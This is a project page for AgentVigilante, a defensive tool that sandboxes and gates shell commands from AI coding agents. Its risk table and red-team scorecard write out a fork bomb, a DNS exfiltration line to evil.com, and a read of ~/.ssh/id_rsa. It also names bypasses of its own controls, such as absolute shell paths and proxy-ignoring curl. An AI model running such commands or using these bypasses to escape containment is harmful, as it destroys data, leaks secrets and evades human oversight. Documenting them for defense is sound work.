Local containment runtime and firewall for AI coding agents
Project description
AgentVigilante
A containment runtime for AI coding agents.
Your agent proposes. AgentVigilante inspects, sandboxes, and asks — before anything touches your machine.
Quickstart · How it works · Invisible mode · Security model · Contributing
Demo
Video walkthrough coming soon.
The problem
Coding agents run shell commands. Most of the time that is pytest and npm install. Occasionally it is rm -rf, a rewritten .env, or a package that phones home.
You find out afterward.
What AgentVigilante does
Every command is classified before it executes, runs against a copy-on-write clone of your workspace inside an ephemeral container, and only reaches your real files when you say so.
| Without AgentVigilante | With AgentVigilante | |
|---|---|---|
pytest |
Runs on your machine | Runs in a disposable sandbox |
npm install left-pad |
Installs, unbounded network | Sandboxed, whitelist egress only |
echo secret > .env |
Overwrites your file | Waits for your approval |
rm -rf build |
Gone | Blocked before it starts |
| Agent "forgets" you rejected it | Keeps going | SYSTEM OVERRIDE re-syncs its memory |
Install (one command)
Requirements: Python 3.11+, Docker Desktop (or Engine) running, host git.
# Python (recommended)
pipx install agentvigilante && agentvigilante bootstrap
# or npm
npx agentvigilante bootstrap
# or Homebrew (after the tap is published)
brew install adityalone/tap/agentvigilante && agentvigilante bootstrap
Then start the console:
agentvigilante start # → http://127.0.0.1:8420
bootstrap checks your environment, builds the sandbox image, and wires Cursor / Claude / Windsurf MCP configs. Restart your IDE after bootstrap so the MCP tools load.
Maintainer release steps: see PUBLISH.md.
Try a risky command
curl -s http://127.0.0.1:8420/v1/commands \
-H 'Content-Type: application/json' \
-d '{"command":"echo hello > greeting.txt","timeout":10}'
That write appears in the console — and as a native dialog — waiting for Approve or Deny.
How it works
flowchart TD
agent[Agent command]
analyzer[AST risk analyzer]
blocked[Blocked with feedback]
pending[Pending your approval]
hologram[COW shadow workspace]
docker["Docker sandbox + strace"]
egress[Whitelist CONNECT proxy]
promote[Promote to real workspace]
agent --> analyzer
analyzer -->|CRITICAL| blocked
analyzer -->|RISKY| pending
analyzer -->|SAFE| hologram
pending -->|Approve| hologram
hologram --> docker
docker --> egress
docker --> promote
- Classify — a
bashlexAST pass sorts every command into SAFE, RISKY, or CRITICAL. - Clone — the job gets a copy-on-write shadow of your workspace. Docker mounts the shadow, never the origin.
- Contain — non-root container, CPU/memory caps,
pids_limit=64,cap_drop=ALL, destroyed after the turn. - Filter — outbound traffic passes a whitelist CONNECT proxy; DNS inside the sandbox is blackholed.
- Decide — approve, deny with feedback, promote the diff, or revert the hologram and the agent's memory with it.
Three ways to route agents through AgentVigilante
| MCP gateway | agentvigilante wrap |
Invisible mode | |
|---|---|---|---|
| Setup | agentvigilante init |
agentvigilante wrap cursor . |
agentvigilante invisible enable |
| Intercepts | Tool calls the model chooses | PATH lookups for bash, npm, python, … |
Same, globally, every terminal |
| Built-in IDE Shell | No | Yes | Yes |
| Runs in background | No | No | launchd / systemd |
| Interrupts you | Every RISKY | Every RISKY | Anomalies only |
MCP gateway
agentvigilante init # patches Claude / Cursor / Windsurf
agentvigilante init --project # also ./.cursor/mcp.json
Tools exposed: agentvigilante_exec, agentvigilante_job_status, agentvigilante_revert.
Manual MCP config
{
"mcpServers": {
"agentvigilante": {
"command": "python",
"args": ["-m", "agent_vigilante.mcp_server"],
"env": { "AGENTVIGILANTE_URL": "http://127.0.0.1:8420" }
}
}
}
PATH shims (agentvigilante wrap)
MCP is a soft boundary — the model can still reach for a built-in Shell tool. Wrapping is harder: shims in ~/.agentvigilante/shims intercept the binary lookup itself.
agentvigilante shim-install
agentvigilante wrap claude # CLI agents
agentvigilante wrap cursor . # launches Cursor with shimmed PATH (macOS)
wrap prepends the shim directory to PATH, points SHELL at the shimmed shell, and launches GUI apps by their binary so the environment survives. Set AGENTVIGILANTE_BYPASS=1 for deliberate host passthrough.
Residual risk: an absolute invocation such as
/bin/zsh -c ...skips PATH entirely and is not intercepted.
Invisible mode
Interactive is the default. Invisible mode is for when you want the guard running without the ceremony.
agentvigilante invisible enable # background service + shell PATH + autopilot
agentvigilante invisible status
agentvigilante invisible disable # back to interactive
| Interactive (default) | Invisible | |
|---|---|---|
| Daemon | agentvigilante start |
launchd / systemd |
| PATH | opt-in via wrap |
injected into .zshrc / .bashrc |
npm install, pytest |
waits for approval | silent autopilot in the hologram |
.env / .ssh writes |
waits | waits, prompts in your IDE |
rm -rf, fork bombs |
blocked | blocked, toast in your IDE |
| Where you approve | browser / native dialog | IDE status bar |
Autopilot is what keeps it quiet: standard development commands run straight through the sandbox, and you are only interrupted by anomalies — sensitive-path writes, global installs, git push, destructive patterns.
Service control on its own:
agentvigilante service install | uninstall | status | start | stop
IDE extension
extensions/vscode/ adds a status bar item — AgentVigilante: Active (0 pending) — with one-click Approve / Block when something needs you. Install instructions live in that folder.
Security model
Risk routing
| Risk | Examples | Behavior |
|---|---|---|
| SAFE | ls, pwd, cat, git status |
Auto-runs in the sandbox |
| RISKY | npm install, pip install, echo x > file, python script.py, ln |
Waits for approval (autopilot may auto-run the routine ones) |
| CRITICAL | rm -rf, curl, dig, nc, fork bombs, cat ~/.ssh/id_rsa |
Blocked immediately |
Defense in depth
- Pre-flight AST analyzer (
bashlex) — classification before execution - Human in the loop — approve, deny with feedback, or deny and revert
- Docker isolation — non-root
1000:1000, memory/CPU caps,pids_limit=64,cap_drop=ALL(+SYS_PTRACEfor tracing),no-new-privileges, ephemeral - Whitelist CONNECT egress — allowed hosts only, no TLS interception
- DNS blackhole —
dns=127.0.0.1inside the container; registry hosts pinned viaextra_hosts - Symlink guard — SAFE commands touching workspace symlinks escalate to review and are rechecked at approve time
- Git Time Machine — checkpoints under
refs/agentvigilante/*inside the hologram - Memory revert — wiping the shadow also injects a one-shot
SYSTEM OVERRIDEso the model stops believing its change landed
Egress whitelist
pypi.org, files.pythonhosted.org, registry.npmjs.org, github.com, objects.githubusercontent.com, nodejs.org and their subdomains.
Containers get HTTP(S)_PROXY=http://host.docker.internal:8888. Clients that honor the proxy are filtered at CONNECT.
Residual risk: raw TCP to literal IPs, and tools that ignore
HTTP_PROXY(curl --noproxy '*'), can still leave via the Docker bridge until an iptables sidecar lands. Treat Approve as a privileged action.
Red-team scorecard
| Scenario | Verdict | Notes |
|---|---|---|
Natural-language disguise — python exploit.py wrapping curl |
AST sees only python → RISKY (human review). Proxy-aware HTTPS to non-whitelist hosts is blocked after approve. |
Nested payloads are not AST-visible; blackholed DNS and CRITICAL curl reduce impact. |
Fork bomb — :(){ :|:& };: |
Inline pattern → CRITICAL. Script-borne variants hit pids_limit=64 and the nproc ulimit. |
PID exhaustion is contained at the cgroup. |
DNS exfiltration — dig <hex>.evil.com |
dig / nslookup / host → CRITICAL; resolver blackholed. |
A public resolver would not help — query labels still leak. Residual: raw UDP/TCP to attacker IPs. |
| TOCTOU symlink escape | Bind mounts do not traverse symlinks to the host FS; workspace symlinks escalate SAFE → RISKY and are blocked at approve. | Shared read-write races remain a concurrency concern, not a host escape. |
Console
The UI is a Vite + React + shadcn app in web/: landing at /, containment console at /console.
Approve or deny pending commands, stream live terminal output over WebSocket, inspect filesystem diffs, review kernel telemetry from strace -f, promote a hologram into your real workspace, or hit E-Stop.
cd web
npm install
npm run build # outputs web/dist, served by FastAPI
npm run dev # optional live reload on :5173
| Flag | Default |
|---|---|
--host |
127.0.0.1 |
--port |
8420 |
--workdir |
./workspace |
--base-image |
agentvigilante-sandbox:local |
--proxy-port |
8888 |
--no-native-notify |
off |
API
HTTP endpoints
# SAFE — auto-executes
curl -s http://127.0.0.1:8420/v1/commands \
-H 'Content-Type: application/json' \
-d '{"command":"ls -la","timeout":10}'
# RISKY — pending approval
curl -s http://127.0.0.1:8420/v1/commands \
-H 'Content-Type: application/json' \
-d '{"command":"echo hello > greeting.txt","timeout":10}'
curl -s -X POST "http://127.0.0.1:8420/v1/commands/${JOB_ID}/approve"
curl -s "http://127.0.0.1:8420/v1/commands/${JOB_ID}"
# Runtime state for IDE integrations
curl -s http://127.0.0.1:8420/v1/status
curl -s http://127.0.0.1:8420/v1/events/recent
# Egress log and emergency stop
curl -s http://127.0.0.1:8420/v1/egress/events
curl -s -X POST http://127.0.0.1:8420/v1/estop
Live output stream: ws://127.0.0.1:8420/v1/commands/{id}/stream
Development
git clone https://github.com/ADITYALONE/AgentVigilante.git
cd AgentVigilante
python3 -m venv .venv && source .venv/bin/activate
pip install -e .
./scripts/sync_web_assets.sh # optional — rebuilds packaged UI
agentvigilante bootstrap
agentvigilante start
Run the suite:
python -m unittest discover -s tests -v
Project layout
agent_vigilante/
├── cli.py # init / setup / start / wrap / invisible / service
├── config.py # ~/.agentvigilante/config.json
├── shim.py # PATH shim generation
├── exec_shim.py # shim → daemon client
├── wrap.py # environment composition and app launch
├── service.py # launchd / systemd units
├── shell_integration.py # .zshrc / .bashrc injection
├── notify.py # native Approve / Deny dialogs
├── mcp_server.py # MCP stdio server
├── core/
│ ├── command_analyzer.py # AST risk classification
│ ├── autopilot.py # silent-run allowlist
│ ├── hologram.py # COW shadow workspaces
│ ├── isolation.py # Docker sandbox
│ ├── egress_proxy.py # whitelist CONNECT proxy
│ ├── checkpoint.py # git Time Machine
│ ├── path_guard.py # symlink guard
│ ├── strace_profile.py # kernel telemetry
│ ├── diff_engine.py
│ └── proxy.py # FastAPI routes
├── dashboard/server.py
extensions/vscode/ # Cursor / VS Code status bar
web/ # Vite + React console
tests/
Distribution
| Channel | Command | Status |
|---|---|---|
| pipx | pipx install agentvigilante && agentvigilante bootstrap |
ready to publish — see PUBLISH.md |
| npx | npx agentvigilante bootstrap |
ready to publish |
| Homebrew | brew install adityalone/tap/agentvigilante |
formula template in Formula/ |
| Source | pip install -e . |
available |
| Smithery | npx -y @smithery/cli install agentvigilante --client claude |
stub in smithery.yaml |
Contributing
Issues and PRs are welcome — start with CONTRIBUTING.md. Because this is a security tool, every PR states its security impact, even when that impact is none.
Found a bypass? Email adityapunjani9@gmail.com instead of opening a public issue.
License
MIT © Aditya Punjani
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file agentvigilante-0.4.0.tar.gz.
File metadata
- Download URL: agentvigilante-0.4.0.tar.gz
- Upload date:
- Size: 1.2 MB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/7.0.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
9b033301694911fb99df4f3ea7fb45f0b5cc973d72a3c18d25b51c9ca27da562
|
|
| MD5 |
9c0178349c99f7d139ef251924aa3eca
|
|
| BLAKE2b-256 |
65182f4bc92745d268a54d9f74ac54248ec88ae516b5b9c8d5f1b1e695746bd6
|
File details
Details for the file agentvigilante-0.4.0-py3-none-any.whl.
File metadata
- Download URL: agentvigilante-0.4.0-py3-none-any.whl
- Upload date:
- Size: 1.2 MB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/7.0.0 CPython/3.12.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
832362dbb2e911d770d2b2230990be595651e5e3cd9f8ff783127304ee6aca48
|
|
| MD5 |
abbe5eb49640a0e0e99bfd9f1ea8078b
|
|
| BLAKE2b-256 |
5e4d9480ecd8b8c9e3b84d52ce28419fb0fc03416ac840a4560c4c0aa0f8c927
|